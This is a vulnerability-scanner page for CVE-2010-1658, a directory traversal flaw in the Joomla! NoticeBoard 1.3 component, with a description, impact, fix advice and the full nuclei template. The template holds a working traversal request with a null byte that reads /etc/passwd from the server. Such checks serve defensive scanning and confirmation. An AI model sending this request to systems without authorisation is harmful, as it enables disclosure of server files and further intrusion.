Joomla! Component NoticeBoard 1.3 - Local File Inclusion

mediumseverity

5CVSS score

16%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Code-Garage NoticeBoard (com_noticeboard) component 1.3 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can allow an attacker to read arbitrary files on the server, potentially leading to unauthorized access, sensitive information disclosure, or further attacks.

Fix

Update to the latest version of Joomla! Component NoticeBoard or apply the necessary patches to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1658 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1658

info:
  name: Joomla! Component NoticeBoard 1.3 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Code-Garage NoticeBoard (com_noticeboard) component 1.3 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can allow an attacker to read arbitrary files on the server, potentially leading to unauthorized access, sensitive information disclosure, or further attacks.
  remediation: |
    Update to the latest version of Joomla! Component NoticeBoard or apply the necessary patches to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12427
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1658
    - http://www.vupen.com/english/advisories/2010/1007
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58176
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1658
    cwe-id: CWE-22
    epss-score: 0.16014
    epss-percentile: 0.96937
    cpe: cpe:2.3:a:code-garage:com_noticeboard:1.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: code-garage
    product: com_noticeboard
  tags: cve,cve2010,joomla,lfi,edb,code-garage,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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